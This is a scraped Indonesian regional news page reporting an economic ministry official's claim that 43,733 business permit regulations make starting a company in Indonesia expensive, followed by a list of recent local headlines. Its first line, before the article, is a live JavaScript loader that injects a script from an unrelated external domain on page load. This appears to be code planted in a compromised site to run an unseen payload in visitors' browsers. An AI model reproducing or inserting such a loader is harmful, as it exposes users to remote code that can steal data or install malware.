(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Mahalnya Dirikan Usaha di Indonesia karena Banyaknya Aturan Pemerintah


KANALKALIMANTAN.COM – Kementerian Koordinator Bidang Perekonomian mencatat sebelum adanya pandemi Covid-19 terdapat 43.733 ribu aturan terkait izin mendirikan usaha di tanah air, baik di tingkat pusat maupun daerah.

Deputi Bidang Koordinasi Ekonomi Makro dan Keuangan Kementerian Koordinator (Kemenko) Bidang Perekonomian Iskandar Simorangkir mengatakan, akibat hal ini menyebabkan untuk mendirikan usaha di Indonesia membutuhkan modal yang begitu besar.

“Bisa dibayangkan begitu banyaknya peraturan perizinan ini, sehingga untuk mendirikan usaha ini semakin mahal, artinya kita membutuhkan modal yang begitu besar,” kata Iskandar dalam acara webinar nasional bertajuk ‘Mewujudkan Dunia Usaha Tanpa Korupsi’ Rabu (28/4/2021).

Baca juga: 867 Desa di Kalsel Miliki Tim Relawan Lawan Covid-19

 

Iskandar merinci dari 43.733 ribu peraturan terkait perizinan ini terdiri dari 8.499 ribu peraturan pusat, 14.896 peraturan menteri, 4.371 peraturan LPNK dan 15.967 peraturan daerah.

“Ini yang menggambarkan kompleksitas dan obesitas regulasi di Indonesia,” katanya.
Sehingga kata dia daya saing Indonesia menjadi rendah jika dibandingkan dengan negara-negara di kawasan Asean.

Baca juga: Pj Gubernur Safrizal: Tak Ada Open House Kepala Daerah

Sehingga salah satu cara yang bisa ditempuh untuk memperbaiki hal ini dengan cara melakukan reformasi struktural melalui UU Cipta yang di tawarkan pemerintah.

“Dimana perijinan nanti menjadi simpel, sehingga nantinya perizinan dengan memanfaatkan teknologi bisa lebih transparan dan menghilangkan praktik korupsi buat pejabat-pejabat di pusat maupun daerah,” pungkasnya. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.